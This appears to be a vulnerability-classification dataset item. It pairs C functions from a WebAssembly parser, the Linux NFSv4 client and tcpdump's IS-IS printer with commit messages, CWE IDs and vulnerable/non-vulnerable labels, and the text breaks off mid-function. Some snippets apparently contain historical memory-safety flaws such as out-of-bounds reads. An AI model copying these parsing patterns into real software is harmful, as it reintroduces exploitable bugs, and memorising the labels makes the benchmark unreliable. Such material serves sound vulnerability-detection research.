if (!(consume_u8 (buf + i, buf + len, (ut8*)&ptr->type_t.elem_type, &i))) {
goto sewer; // varint7
}
if (!(consume_limits (buf + i, buf + len, &ptr->type_t.limits, &i))) {
goto sewer;
}
break;
case 2: // Memory
if (!(consume_limits (buf + i, buf + len, &ptr->type_m.limits, &i))) {
goto sewer;
}
break;
case 3: // Global
if (!(consume_u8 (buf + i, buf + len, (ut8*)&ptr->type_g.content_type, &i))) {
goto sewer; // varint7
}
if (!(consume_u8 (buf + i, buf + len, (ut8*)&ptr->type_g.mutability, &i))) {
goto sewer; // varuint1
}
break;
default:
goto sewer;
}
r_list_append (ret, ptr);
r++;
}
return ret;
sewer:
ret = NULL;
culvert:
free (ptr);
return ret;
}
Commit Message: Fix crash in fuzzed wasm r2_hoobr_consume_init_expr
CWE ID: CWE-125
Output: | 0 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: static void nfs4_open_prepare(struct rpc_task *task, void *calldata)
{
struct nfs4_opendata *data = calldata;
struct nfs4_state_owner *sp = data->owner;
if (nfs_wait_on_sequence(data->o_arg.seqid, task) != 0)
return;
/*
* Check if we still need to send an OPEN call, or if we can use
* a delegation instead.
*/
if (data->state != NULL) {
struct nfs_delegation *delegation;
if (can_open_cached(data->state, data->o_arg.open_flags & (FMODE_READ|FMODE_WRITE|O_EXCL)))
goto out_no_action;
rcu_read_lock();
delegation = rcu_dereference(NFS_I(data->state->inode)->delegation);
if (delegation != NULL &&
test_bit(NFS_DELEGATION_NEED_RECLAIM, &delegation->flags) == 0) {
rcu_read_unlock();
goto out_no_action;
}
rcu_read_unlock();
}
/* Update sequence id. */
data->o_arg.id = sp->so_owner_id.id;
data->o_arg.clientid = sp->so_client->cl_clientid;
if (data->o_arg.claim == NFS4_OPEN_CLAIM_PREVIOUS) {
task->tk_msg.rpc_proc = &nfs4_procedures[NFSPROC4_CLNT_OPEN_NOATTR];
nfs_copy_fh(&data->o_res.fh, data->o_arg.fh);
}
data->timestamp = jiffies;
rpc_call_start(task);
return;
out_no_action:
task->tk_action = NULL;
}
Commit Message: NFSv4: Convert the open and close ops to use fmode
Signed-off-by: Trond Myklebust <[email protected]>
CWE ID:
Target: 1
Example 2:
Code: isis_print(netdissect_options *ndo,
const uint8_t *p, u_int length)
{
const struct isis_common_header *isis_header;
const struct isis_iih_lan_header *header_iih_lan;
const struct isis_iih_ptp_header *header_iih_ptp;
const struct isis_lsp_header *header_lsp;
const struct isis_csnp_header *header_csnp;
const struct isis_psnp_header *header_psnp;
const struct isis_tlv_lsp *tlv_lsp;
const struct isis_tlv_ptp_adj *tlv_ptp_adj;
const struct isis_tlv_is_reach *tlv_is_reach;
const struct isis_tlv_es_reach *tlv_es_reach;
uint8_t pdu_type, max_area, id_length, tlv_type, tlv_len, tmp, alen, lan_alen, prefix_len;
uint8_t ext_is_len, ext_ip_len, mt_len;
const uint8_t *optr, *pptr, *tptr;
u_short packet_len,pdu_len, key_id;
u_int i,vendor_id;
int sigcheck;
packet_len=length;
optr = p; /* initialize the _o_riginal pointer to the packet start -
need it for parsing the checksum TLV and authentication
TLV verification */
isis_header = (const struct isis_common_header *)p;
ND_TCHECK(*isis_header);
if (length < ISIS_COMMON_HEADER_SIZE)
goto trunc;
pptr = p+(ISIS_COMMON_HEADER_SIZE);
header_iih_lan = (const struct isis_iih_lan_header *)pptr;
header_iih_ptp = (const struct isis_iih_ptp_header *)pptr;
header_lsp = (const struct isis_lsp_header *)pptr;
header_csnp = (const struct isis_csnp_header *)pptr;
header_psnp = (const struct isis_psnp_header *)pptr;
if (!ndo->ndo_eflag)
ND_PRINT((ndo, "IS-IS"));
/*
* Sanity checking of the header.
*/
if (isis_header->version != ISIS_VERSION) {
ND_PRINT((ndo, "version %d packet not supported", isis_header->version));
return (0);
}
if ((isis_header->id_length != SYSTEM_ID_LEN) && (isis_header->id_length != 0)) {
ND_PRINT((ndo, "system ID length of %d is not supported",
isis_header->id_length));
return (0);
}
if (isis_header->pdu_version != ISIS_VERSION) {
ND_PRINT((ndo, "version %d packet not supported", isis_header->pdu_version));
return (0);
}
if (length < isis_header->fixed_len) {
ND_PRINT((ndo, "fixed header length %u > packet length %u", isis_header->fixed_len, length));
return (0);
}
if (isis_header->fixed_len < ISIS_COMMON_HEADER_SIZE) {
ND_PRINT((ndo, "fixed header length %u < minimum header size %u", isis_header->fixed_len, (u_int)ISIS_COMMON_HEADER_SIZE));
return (0);
}
max_area = isis_header->max_area;
switch(max_area) {
case 0:
max_area = 3; /* silly shit */
break;
case 255:
ND_PRINT((ndo, "bad packet -- 255 areas"));
return (0);
default:
break;
}
id_length = isis_header->id_length;
switch(id_length) {
case 0:
id_length = 6; /* silly shit again */
break;
case 1: /* 1-8 are valid sys-ID lenghts */
case 2:
case 3:
case 4:
case 5:
case 6:
case 7:
case 8:
break;
case 255:
id_length = 0; /* entirely useless */
break;
default:
break;
}
/* toss any non 6-byte sys-ID len PDUs */
if (id_length != 6 ) {
ND_PRINT((ndo, "bad packet -- illegal sys-ID length (%u)", id_length));
return (0);
}
pdu_type=isis_header->pdu_type;
/* in non-verbose mode print the basic PDU Type plus PDU specific brief information*/
if (ndo->ndo_vflag == 0) {
ND_PRINT((ndo, "%s%s",
ndo->ndo_eflag ? "" : ", ",
tok2str(isis_pdu_values, "unknown PDU-Type %u", pdu_type)));
} else {
/* ok they seem to want to know everything - lets fully decode it */
ND_PRINT((ndo, "%slength %u", ndo->ndo_eflag ? "" : ", ", length));
ND_PRINT((ndo, "\n\t%s, hlen: %u, v: %u, pdu-v: %u, sys-id-len: %u (%u), max-area: %u (%u)",
tok2str(isis_pdu_values,
"unknown, type %u",
pdu_type),
isis_header->fixed_len,
isis_header->version,
isis_header->pdu_version,
id_length,
isis_header->id_length,
max_area,
isis_header->max_area));
if (ndo->ndo_vflag > 1) {
if (!print_unknown_data(ndo, optr, "\n\t", 8)) /* provide the _o_riginal pointer */
return (0); /* for optionally debugging the common header */
}
}
switch (pdu_type) {
case ISIS_PDU_L1_LAN_IIH:
case ISIS_PDU_L2_LAN_IIH:
if (isis_header->fixed_len != (ISIS_COMMON_HEADER_SIZE+ISIS_IIH_LAN_HEADER_SIZE)) {
ND_PRINT((ndo, ", bogus fixed header length %u should be %lu",
isis_header->fixed_len, (unsigned long)(ISIS_COMMON_HEADER_SIZE+ISIS_IIH_LAN_HEADER_SIZE)));
return (0);
}
ND_TCHECK(*header_iih_lan);
if (length < ISIS_COMMON_HEADER_SIZE+ISIS_IIH_LAN_HEADER_SIZE)
goto trunc;
if (ndo->ndo_vflag == 0) {
ND_PRINT((ndo, ", src-id %s",
isis_print_id(header_iih_lan->source_id, SYSTEM_ID_LEN)));
ND_PRINT((ndo, ", lan-id %s, prio %u",
isis_print_id(header_iih_lan->lan_id,NODE_ID_LEN),
header_iih_lan->priority));
ND_PRINT((ndo, ", length %u", length));
return (1);
}
pdu_len=EXTRACT_16BITS(header_iih_lan->pdu_len);
if (packet_len>pdu_len) {
packet_len=pdu_len; /* do TLV decoding as long as it makes sense */
length=pdu_len;
}
ND_PRINT((ndo, "\n\t source-id: %s, holding time: %us, Flags: [%s]",
isis_print_id(header_iih_lan->source_id,SYSTEM_ID_LEN),
EXTRACT_16BITS(header_iih_lan->holding_time),
tok2str(isis_iih_circuit_type_values,
"unknown circuit type 0x%02x",
header_iih_lan->circuit_type)));
ND_PRINT((ndo, "\n\t lan-id: %s, Priority: %u, PDU length: %u",
isis_print_id(header_iih_lan->lan_id, NODE_ID_LEN),
(header_iih_lan->priority) & ISIS_LAN_PRIORITY_MASK,
pdu_len));
if (ndo->ndo_vflag > 1) {
if (!print_unknown_data(ndo, pptr, "\n\t ", ISIS_IIH_LAN_HEADER_SIZE))
return (0);
}
packet_len -= (ISIS_COMMON_HEADER_SIZE+ISIS_IIH_LAN_HEADER_SIZE);
pptr = p + (ISIS_COMMON_HEADER_SIZE+ISIS_IIH_LAN_HEADER_SIZE);
break;
case ISIS_PDU_PTP_IIH:
if (isis_header->fixed_len != (ISIS_COMMON_HEADER_SIZE+ISIS_IIH_PTP_HEADER_SIZE)) {
ND_PRINT((ndo, ", bogus fixed header length %u should be %lu",
isis_header->fixed_len, (unsigned long)(ISIS_COMMON_HEADER_SIZE+ISIS_IIH_PTP_HEADER_SIZE)));
return (0);
}
ND_TCHECK(*header_iih_ptp);
if (length < ISIS_COMMON_HEADER_SIZE+ISIS_IIH_PTP_HEADER_SIZE)
goto trunc;
if (ndo->ndo_vflag == 0) {
ND_PRINT((ndo, ", src-id %s", isis_print_id(header_iih_ptp->source_id, SYSTEM_ID_LEN)));
ND_PRINT((ndo, ", length %u", length));
return (1);
}
pdu_len=EXTRACT_16BITS(header_iih_ptp->pdu_len);
if (packet_len>pdu_len) {
packet_len=pdu_len; /* do TLV decoding as long as it makes sense */
length=pdu_len;
}
ND_PRINT((ndo, "\n\t source-id: %s, holding time: %us, Flags: [%s]",
isis_print_id(header_iih_ptp->source_id,SYSTEM_ID_LEN),
EXTRACT_16BITS(header_iih_ptp->holding_time),
tok2str(isis_iih_circuit_type_values,
"unknown circuit type 0x%02x",
header_iih_ptp->circuit_type)));
ND_PRINT((ndo, "\n\t circuit-id: 0x%02x, PDU length: %u",
header_iih_ptp->circuit_id,
pdu_len));
if (ndo->ndo_vflag > 1) {
if (!print_unknown_data(ndo, pptr, "\n\t ", ISIS_IIH_PTP_HEADER_SIZE))
return (0);
}
packet_len -= (ISIS_COMMON_HEADER_SIZE+ISIS_IIH_PTP_HEADER_SIZE);
pptr = p + (ISIS_COMMON_HEADER_SIZE+ISIS_IIH_PTP_HEADER_SIZE);
break;
case ISIS_PDU_L1_LSP:
case ISIS_PDU_L2_LSP:
if (isis_header->fixed_len != (ISIS_COMMON_HEADER_SIZE+ISIS_LSP_HEADER_SIZE)) {
ND_PRINT((ndo, ", bogus fixed header length %u should be %lu",
isis_header->fixed_len, (unsigned long)ISIS_LSP_HEADER_SIZE));
return (0);
}
ND_TCHECK(*header_lsp);
if (length < ISIS_COMMON_HEADER_SIZE+ISIS_LSP_HEADER_SIZE)
goto trunc;
if (ndo->ndo_vflag == 0) {
ND_PRINT((ndo, ", lsp-id %s, seq 0x%08x, lifetime %5us",
isis_print_id(header_lsp->lsp_id, LSP_ID_LEN),
EXTRACT_32BITS(header_lsp->sequence_number),
EXTRACT_16BITS(header_lsp->remaining_lifetime)));
ND_PRINT((ndo, ", length %u", length));
return (1);
}
pdu_len=EXTRACT_16BITS(header_lsp->pdu_len);
if (packet_len>pdu_len) {
packet_len=pdu_len; /* do TLV decoding as long as it makes sense */
length=pdu_len;
}
ND_PRINT((ndo, "\n\t lsp-id: %s, seq: 0x%08x, lifetime: %5us\n\t chksum: 0x%04x",
isis_print_id(header_lsp->lsp_id, LSP_ID_LEN),
EXTRACT_32BITS(header_lsp->sequence_number),
EXTRACT_16BITS(header_lsp->remaining_lifetime),
EXTRACT_16BITS(header_lsp->checksum)));
osi_print_cksum(ndo, (const uint8_t *)header_lsp->lsp_id,
EXTRACT_16BITS(header_lsp->checksum),
12, length-12);
ND_PRINT((ndo, ", PDU length: %u, Flags: [ %s",
pdu_len,
ISIS_MASK_LSP_OL_BIT(header_lsp->typeblock) ? "Overload bit set, " : ""));
if (ISIS_MASK_LSP_ATT_BITS(header_lsp->typeblock)) {
ND_PRINT((ndo, "%s", ISIS_MASK_LSP_ATT_DEFAULT_BIT(header_lsp->typeblock) ? "default " : ""));
ND_PRINT((ndo, "%s", ISIS_MASK_LSP_ATT_DELAY_BIT(header_lsp->typeblock) ? "delay " : ""));
ND_PRINT((ndo, "%s", ISIS_MASK_LSP_ATT_EXPENSE_BIT(header_lsp->typeblock) ? "expense " : ""));
ND_PRINT((ndo, "%s", ISIS_MASK_LSP_ATT_ERROR_BIT(header_lsp->typeblock) ? "error " : ""));
ND_PRINT((ndo, "ATT bit set, "));
}
ND_PRINT((ndo, "%s", ISIS_MASK_LSP_PARTITION_BIT(header_lsp->typeblock) ? "P bit set, " : ""));
ND_PRINT((ndo, "%s ]", tok2str(isis_lsp_istype_values, "Unknown(0x%x)",
ISIS_MASK_LSP_ISTYPE_BITS(header_lsp->typeblock))));
if (ndo->ndo_vflag > 1) {
if (!print_unknown_data(ndo, pptr, "\n\t ", ISIS_LSP_HEADER_SIZE))
return (0);
}
packet_len -= (ISIS_COMMON_HEADER_SIZE+ISIS_LSP_HEADER_SIZE);
pptr = p + (ISIS_COMMON_HEADER_SIZE+ISIS_LSP_HEADER_SIZE);
break;
case ISIS_PDU_L1_CSNP:
case ISIS_PDU_L2_CSNP:
if (isis_header->fixed_len != (ISIS_COMMON_HEADER_SIZE+ISIS_CSNP_HEADER_SIZE)) {
ND_PRINT((ndo, ", bogus fixed header length %u should be %lu",
isis_header->fixed_len, (unsigned long)(ISIS_COMMON_HEADER_SIZE+ISIS_CSNP_HEADER_SIZE)));
return (0);
}
ND_TCHECK(*header_csnp);
if (length < ISIS_COMMON_HEADER_SIZE+ISIS_CSNP_HEADER_SIZE)
goto trunc;
if (ndo->ndo_vflag == 0) {
ND_PRINT((ndo, ", src-id %s", isis_print_id(header_csnp->source_id, NODE_ID_LEN)));
ND_PRINT((ndo, ", length %u", length));
return (1);
}
pdu_len=EXTRACT_16BITS(header_csnp->pdu_len);
if (packet_len>pdu_len) {
packet_len=pdu_len; /* do TLV decoding as long as it makes sense */
length=pdu_len;
}
ND_PRINT((ndo, "\n\t source-id: %s, PDU length: %u",
isis_print_id(header_csnp->source_id, NODE_ID_LEN),
pdu_len));
ND_PRINT((ndo, "\n\t start lsp-id: %s",
isis_print_id(header_csnp->start_lsp_id, LSP_ID_LEN)));
ND_PRINT((ndo, "\n\t end lsp-id: %s",
isis_print_id(header_csnp->end_lsp_id, LSP_ID_LEN)));
if (ndo->ndo_vflag > 1) {
if (!print_unknown_data(ndo, pptr, "\n\t ", ISIS_CSNP_HEADER_SIZE))
return (0);
}
packet_len -= (ISIS_COMMON_HEADER_SIZE+ISIS_CSNP_HEADER_SIZE);
pptr = p + (ISIS_COMMON_HEADER_SIZE+ISIS_CSNP_HEADER_SIZE);
break;
case ISIS_PDU_L1_PSNP:
case ISIS_PDU_L2_PSNP:
if (isis_header->fixed_len != (ISIS_COMMON_HEADER_SIZE+ISIS_PSNP_HEADER_SIZE)) {
ND_PRINT((ndo, "- bogus fixed header length %u should be %lu",
isis_header->fixed_len, (unsigned long)(ISIS_COMMON_HEADER_SIZE+ISIS_PSNP_HEADER_SIZE)));
return (0);
}
ND_TCHECK(*header_psnp);
if (length < ISIS_COMMON_HEADER_SIZE+ISIS_PSNP_HEADER_SIZE)
goto trunc;
if (ndo->ndo_vflag == 0) {
ND_PRINT((ndo, ", src-id %s", isis_print_id(header_psnp->source_id, NODE_ID_LEN)));
ND_PRINT((ndo, ", length %u", length));
return (1);
}
pdu_len=EXTRACT_16BITS(header_psnp->pdu_len);
if (packet_len>pdu_len) {
packet_len=pdu_len; /* do TLV decoding as long as it makes sense */
length=pdu_len;
}
ND_PRINT((ndo, "\n\t source-id: %s, PDU length: %u",
isis_print_id(header_psnp->source_id, NODE_ID_LEN),
pdu_len));
if (ndo->ndo_vflag > 1) {
if (!print_unknown_data(ndo, pptr, "\n\t ", ISIS_PSNP_HEADER_SIZE))
return (0);
}
packet_len -= (ISIS_COMMON_HEADER_SIZE+ISIS_PSNP_HEADER_SIZE);
pptr = p + (ISIS_COMMON_HEADER_SIZE+ISIS_PSNP_HEADER_SIZE);
break;
default:
if (ndo->ndo_vflag == 0) {
ND_PRINT((ndo, ", length %u", length));
return (1);
}
(void)print_unknown_data(ndo, pptr, "\n\t ", length);
return (0);
}
/*
* Now print the TLV's.
*/
while (packet_len > 0) {
ND_TCHECK2(*pptr, 2);
if (packet_len < 2)
goto trunc;
tlv_type = *pptr++;
tlv_len = *pptr++;
tmp =tlv_len; /* copy temporary len & pointer to packet data */
tptr = pptr;
packet_len -= 2;
/* first lets see if we know the TLVs name*/
ND_PRINT((ndo, "\n\t %s TLV #%u, length: %u",
tok2str(isis_tlv_values,
"unknown",
tlv_type),
tlv_type,
tlv_len));
if (tlv_len == 0) /* something is invalid */
continue;
if (packet_len < tlv_len)
goto trunc;
/* now check if we have a decoder otherwise do a hexdump at the end*/
switch (tlv_type) {
case ISIS_TLV_AREA_ADDR:
ND_TCHECK2(*tptr, 1);
alen = *tptr++;
while (tmp && alen < tmp) {
ND_TCHECK2(*tptr, alen);
ND_PRINT((ndo, "\n\t Area address (length: %u): %s",
alen,
isonsap_string(ndo, tptr, alen)));
tptr += alen;
tmp -= alen + 1;
if (tmp==0) /* if this is the last area address do not attemt a boundary check */
break;
ND_TCHECK2(*tptr, 1);
alen = *tptr++;
}
break;
case ISIS_TLV_ISNEIGH:
while (tmp >= ETHER_ADDR_LEN) {
ND_TCHECK2(*tptr, ETHER_ADDR_LEN);
ND_PRINT((ndo, "\n\t SNPA: %s", isis_print_id(tptr, ETHER_ADDR_LEN)));
tmp -= ETHER_ADDR_LEN;
tptr += ETHER_ADDR_LEN;
}
break;
case ISIS_TLV_ISNEIGH_VARLEN:
if (!ND_TTEST2(*tptr, 1) || tmp < 3) /* min. TLV length */
goto trunctlv;
lan_alen = *tptr++; /* LAN address length */
if (lan_alen == 0) {
ND_PRINT((ndo, "\n\t LAN address length 0 bytes (invalid)"));
break;
}
tmp --;
ND_PRINT((ndo, "\n\t LAN address length %u bytes ", lan_alen));
while (tmp >= lan_alen) {
ND_TCHECK2(*tptr, lan_alen);
ND_PRINT((ndo, "\n\t\tIS Neighbor: %s", isis_print_id(tptr, lan_alen)));
tmp -= lan_alen;
tptr +=lan_alen;
}
break;
case ISIS_TLV_PADDING:
break;
case ISIS_TLV_MT_IS_REACH:
mt_len = isis_print_mtid(ndo, tptr, "\n\t ");
if (mt_len == 0) /* did something go wrong ? */
goto trunctlv;
tptr+=mt_len;
tmp-=mt_len;
while (tmp >= 2+NODE_ID_LEN+3+1) {
ext_is_len = isis_print_ext_is_reach(ndo, tptr, "\n\t ", tlv_type);
if (ext_is_len == 0) /* did something go wrong ? */
goto trunctlv;
tmp-=ext_is_len;
tptr+=ext_is_len;
}
break;
case ISIS_TLV_IS_ALIAS_ID:
while (tmp >= NODE_ID_LEN+1) { /* is it worth attempting a decode ? */
ext_is_len = isis_print_ext_is_reach(ndo, tptr, "\n\t ", tlv_type);
if (ext_is_len == 0) /* did something go wrong ? */
goto trunctlv;
tmp-=ext_is_len;
tptr+=ext_is_len;
}
break;
case ISIS_TLV_EXT_IS_REACH:
while (tmp >= NODE_ID_LEN+3+1) { /* is it worth attempting a decode ? */
ext_is_len = isis_print_ext_is_reach(ndo, tptr, "\n\t ", tlv_type);
if (ext_is_len == 0) /* did something go wrong ? */
goto trunctlv;
tmp-=ext_is_len;
tptr+=ext_is_len;
}
break;
case ISIS_TLV_IS_REACH:
ND_TCHECK2(*tptr,1); /* check if there is one byte left to read out the virtual flag */
ND_PRINT((ndo, "\n\t %s",
tok2str(isis_is_reach_virtual_values,
"bogus virtual flag 0x%02x",
*tptr++)));
tlv_is_reach = (const struct isis_tlv_is_reach *)tptr;
while (tmp >= sizeof(struct isis_tlv_is_reach)) {
ND_TCHECK(*tlv_is_reach);
ND_PRINT((ndo, "\n\t IS Neighbor: %s",
isis_print_id(tlv_is_reach->neighbor_nodeid, NODE_ID_LEN)));
isis_print_metric_block(ndo, &tlv_is_reach->isis_metric_block);
tmp -= sizeof(struct isis_tlv_is_reach);
tlv_is_reach++;
}
break;
case ISIS_TLV_ESNEIGH:
tlv_es_reach = (const struct isis_tlv_es_reach *)tptr;
while (tmp >= sizeof(struct isis_tlv_es_reach)) {
ND_TCHECK(*tlv_es_reach);
ND_PRINT((ndo, "\n\t ES Neighbor: %s",
isis_print_id(tlv_es_reach->neighbor_sysid, SYSTEM_ID_LEN)));
isis_print_metric_block(ndo, &tlv_es_reach->isis_metric_block);
tmp -= sizeof(struct isis_tlv_es_reach);
tlv_es_reach++;
}
break;
/* those two TLVs share the same format */
case ISIS_TLV_INT_IP_REACH:
case ISIS_TLV_EXT_IP_REACH:
if (!isis_print_tlv_ip_reach(ndo, pptr, "\n\t ", tlv_len))
return (1);
break;
case ISIS_TLV_EXTD_IP_REACH:
while (tmp>0) {
ext_ip_len = isis_print_extd_ip_reach(ndo, tptr, "\n\t ", AF_INET);
if (ext_ip_len == 0) /* did something go wrong ? */
goto trunctlv;
tptr+=ext_ip_len;
tmp-=ext_ip_len;
}
break;
case ISIS_TLV_MT_IP_REACH:
mt_len = isis_print_mtid(ndo, tptr, "\n\t ");
if (mt_len == 0) { /* did something go wrong ? */
goto trunctlv;
}
tptr+=mt_len;
tmp-=mt_len;
while (tmp>0) {
ext_ip_len = isis_print_extd_ip_reach(ndo, tptr, "\n\t ", AF_INET);
if (ext_ip_len == 0) /* did something go wrong ? */
goto trunctlv;
tptr+=ext_ip_len;
tmp-=ext_ip_len;
}
break;
case ISIS_TLV_IP6_REACH:
while (tmp>0) {
ext_ip_len = isis_print_extd_ip_reach(ndo, tptr, "\n\t ", AF_INET6);
if (ext_ip_len == 0) /* did something go wrong ? */
goto trunctlv;
tptr+=ext_ip_len;
tmp-=ext_ip_len;
}
break;
case ISIS_TLV_MT_IP6_REACH:
mt_len = isis_print_mtid(ndo, tptr, "\n\t ");
if (mt_len == 0) { /* did something go wrong ? */
goto trunctlv;
}
tptr+=mt_len;
tmp-=mt_len;
while (tmp>0) {
ext_ip_len = isis_print_extd_ip_reach(ndo, tptr, "\n\t ", AF_INET6);
if (ext_ip_len == 0) /* did something go wrong ? */
goto trunctlv;
tptr+=ext_ip_len;
tmp-=ext_ip_len;
}
break;
case ISIS_TLV_IP6ADDR:
while (tmp>=sizeof(struct in6_addr)) {
ND_TCHECK2(*tptr, sizeof(struct in6_addr));
ND_PRINT((ndo, "\n\t IPv6 interface address: %s",
ip6addr_string(ndo, tptr)));
tptr += sizeof(struct in6_addr);
tmp -= sizeof(struct in6_addr);
}
break;
case ISIS_TLV_AUTH:
ND_TCHECK2(*tptr, 1);
ND_PRINT((ndo, "\n\t %s: ",
tok2str(isis_subtlv_auth_values,
"unknown Authentication type 0x%02x",
*tptr)));
switch (*tptr) {
case ISIS_SUBTLV_AUTH_SIMPLE:
if (fn_printzp(ndo, tptr + 1, tlv_len - 1, ndo->ndo_snapend))
goto trunctlv;
break;
case ISIS_SUBTLV_AUTH_MD5:
for(i=1;i<tlv_len;i++) {
ND_TCHECK2(*(tptr + i), 1);
ND_PRINT((ndo, "%02x", *(tptr + i)));
}
if (tlv_len != ISIS_SUBTLV_AUTH_MD5_LEN+1)
ND_PRINT((ndo, ", (invalid subTLV) "));
sigcheck = signature_verify(ndo, optr, length, tptr + 1,
isis_clear_checksum_lifetime,
header_lsp);
ND_PRINT((ndo, " (%s)", tok2str(signature_check_values, "Unknown", sigcheck)));
break;
case ISIS_SUBTLV_AUTH_GENERIC:
ND_TCHECK2(*(tptr + 1), 2);
key_id = EXTRACT_16BITS((tptr+1));
ND_PRINT((ndo, "%u, password: ", key_id));
for(i=1 + sizeof(uint16_t);i<tlv_len;i++) {
ND_TCHECK2(*(tptr + i), 1);
ND_PRINT((ndo, "%02x", *(tptr + i)));
}
break;
case ISIS_SUBTLV_AUTH_PRIVATE:
default:
if (!print_unknown_data(ndo, tptr + 1, "\n\t\t ", tlv_len - 1))
return(0);
break;
}
break;
case ISIS_TLV_PTP_ADJ:
tlv_ptp_adj = (const struct isis_tlv_ptp_adj *)tptr;
if(tmp>=1) {
ND_TCHECK2(*tptr, 1);
ND_PRINT((ndo, "\n\t Adjacency State: %s (%u)",
tok2str(isis_ptp_adjancey_values, "unknown", *tptr),
*tptr));
tmp--;
}
if(tmp>sizeof(tlv_ptp_adj->extd_local_circuit_id)) {
ND_TCHECK(tlv_ptp_adj->extd_local_circuit_id);
ND_PRINT((ndo, "\n\t Extended Local circuit-ID: 0x%08x",
EXTRACT_32BITS(tlv_ptp_adj->extd_local_circuit_id)));
tmp-=sizeof(tlv_ptp_adj->extd_local_circuit_id);
}
if(tmp>=SYSTEM_ID_LEN) {
ND_TCHECK2(tlv_ptp_adj->neighbor_sysid, SYSTEM_ID_LEN);
ND_PRINT((ndo, "\n\t Neighbor System-ID: %s",
isis_print_id(tlv_ptp_adj->neighbor_sysid, SYSTEM_ID_LEN)));
tmp-=SYSTEM_ID_LEN;
}
if(tmp>=sizeof(tlv_ptp_adj->neighbor_extd_local_circuit_id)) {
ND_TCHECK(tlv_ptp_adj->neighbor_extd_local_circuit_id);
ND_PRINT((ndo, "\n\t Neighbor Extended Local circuit-ID: 0x%08x",
EXTRACT_32BITS(tlv_ptp_adj->neighbor_extd_local_circuit_id)));
}
break;
case ISIS_TLV_PROTOCOLS:
ND_PRINT((ndo, "\n\t NLPID(s): "));
while (tmp>0) {
ND_TCHECK2(*(tptr), 1);
ND_PRINT((ndo, "%s (0x%02x)",
tok2str(nlpid_values,
"unknown",
*tptr),
*tptr));
if (tmp>1) /* further NPLIDs ? - put comma */
ND_PRINT((ndo, ", "));
tptr++;
tmp--;
}
break;
case ISIS_TLV_MT_PORT_CAP:
{
ND_TCHECK2(*(tptr), 2);
ND_PRINT((ndo, "\n\t RES: %d, MTID(s): %d",
(EXTRACT_16BITS (tptr) >> 12),
(EXTRACT_16BITS (tptr) & 0x0fff)));
tmp = tmp-2;
tptr = tptr+2;
if (tmp)
isis_print_mt_port_cap_subtlv(ndo, tptr, tmp);
break;
}
case ISIS_TLV_MT_CAPABILITY:
ND_TCHECK2(*(tptr), 2);
ND_PRINT((ndo, "\n\t O: %d, RES: %d, MTID(s): %d",
(EXTRACT_16BITS(tptr) >> 15) & 0x01,
(EXTRACT_16BITS(tptr) >> 12) & 0x07,
EXTRACT_16BITS(tptr) & 0x0fff));
tmp = tmp-2;
tptr = tptr+2;
if (tmp)
isis_print_mt_capability_subtlv(ndo, tptr, tmp);
break;
case ISIS_TLV_TE_ROUTER_ID:
ND_TCHECK2(*pptr, sizeof(struct in_addr));
ND_PRINT((ndo, "\n\t Traffic Engineering Router ID: %s", ipaddr_string(ndo, pptr)));
break;
case ISIS_TLV_IPADDR:
while (tmp>=sizeof(struct in_addr)) {
ND_TCHECK2(*tptr, sizeof(struct in_addr));
ND_PRINT((ndo, "\n\t IPv4 interface address: %s", ipaddr_string(ndo, tptr)));
tptr += sizeof(struct in_addr);
tmp -= sizeof(struct in_addr);
}
break;
case ISIS_TLV_HOSTNAME:
ND_PRINT((ndo, "\n\t Hostname: "));
if (fn_printzp(ndo, tptr, tmp, ndo->ndo_snapend))
goto trunctlv;
break;
case ISIS_TLV_SHARED_RISK_GROUP:
if (tmp < NODE_ID_LEN)
break;
ND_TCHECK2(*tptr, NODE_ID_LEN);
ND_PRINT((ndo, "\n\t IS Neighbor: %s", isis_print_id(tptr, NODE_ID_LEN)));
tptr+=(NODE_ID_LEN);
tmp-=(NODE_ID_LEN);
if (tmp < 1)
break;
ND_TCHECK2(*tptr, 1);
ND_PRINT((ndo, ", Flags: [%s]", ISIS_MASK_TLV_SHARED_RISK_GROUP(*tptr++) ? "numbered" : "unnumbered"));
tmp--;
if (tmp < sizeof(struct in_addr))
break;
ND_TCHECK2(*tptr, sizeof(struct in_addr));
ND_PRINT((ndo, "\n\t IPv4 interface address: %s", ipaddr_string(ndo, tptr)));
tptr+=sizeof(struct in_addr);
tmp-=sizeof(struct in_addr);
if (tmp < sizeof(struct in_addr))
break;
ND_TCHECK2(*tptr, sizeof(struct in_addr));
ND_PRINT((ndo, "\n\t IPv4 neighbor address: %s", ipaddr_string(ndo, tptr)));
tptr+=sizeof(struct in_addr);
tmp-=sizeof(struct in_addr);
while (tmp>=4) {
ND_TCHECK2(*tptr, 4);
ND_PRINT((ndo, "\n\t Link-ID: 0x%08x", EXTRACT_32BITS(tptr)));
tptr+=4;
tmp-=4;
}
break;
case ISIS_TLV_LSP:
tlv_lsp = (const struct isis_tlv_lsp *)tptr;
while(tmp>=sizeof(struct isis_tlv_lsp)) {
ND_TCHECK((tlv_lsp->lsp_id)[LSP_ID_LEN-1]);
ND_PRINT((ndo, "\n\t lsp-id: %s",
isis_print_id(tlv_lsp->lsp_id, LSP_ID_LEN)));
ND_TCHECK2(tlv_lsp->sequence_number, 4);
ND_PRINT((ndo, ", seq: 0x%08x", EXTRACT_32BITS(tlv_lsp->sequence_number)));
ND_TCHECK2(tlv_lsp->remaining_lifetime, 2);
ND_PRINT((ndo, ", lifetime: %5ds", EXTRACT_16BITS(tlv_lsp->remaining_lifetime)));
ND_TCHECK2(tlv_lsp->checksum, 2);
ND_PRINT((ndo, ", chksum: 0x%04x", EXTRACT_16BITS(tlv_lsp->checksum)));
tmp-=sizeof(struct isis_tlv_lsp);
tlv_lsp++;
}
break;
case ISIS_TLV_CHECKSUM:
if (tmp < ISIS_TLV_CHECKSUM_MINLEN)
break;
ND_TCHECK2(*tptr, ISIS_TLV_CHECKSUM_MINLEN);
ND_PRINT((ndo, "\n\t checksum: 0x%04x ", EXTRACT_16BITS(tptr)));
/* do not attempt to verify the checksum if it is zero
* most likely a HMAC-MD5 TLV is also present and
* to avoid conflicts the checksum TLV is zeroed.
* see rfc3358 for details
*/
osi_print_cksum(ndo, optr, EXTRACT_16BITS(tptr), tptr-optr,
length);
break;
case ISIS_TLV_POI:
if (tlv_len >= SYSTEM_ID_LEN + 1) {
ND_TCHECK2(*tptr, SYSTEM_ID_LEN + 1);
ND_PRINT((ndo, "\n\t Purge Originator System-ID: %s",
isis_print_id(tptr + 1, SYSTEM_ID_LEN)));
}
if (tlv_len == 2 * SYSTEM_ID_LEN + 1) {
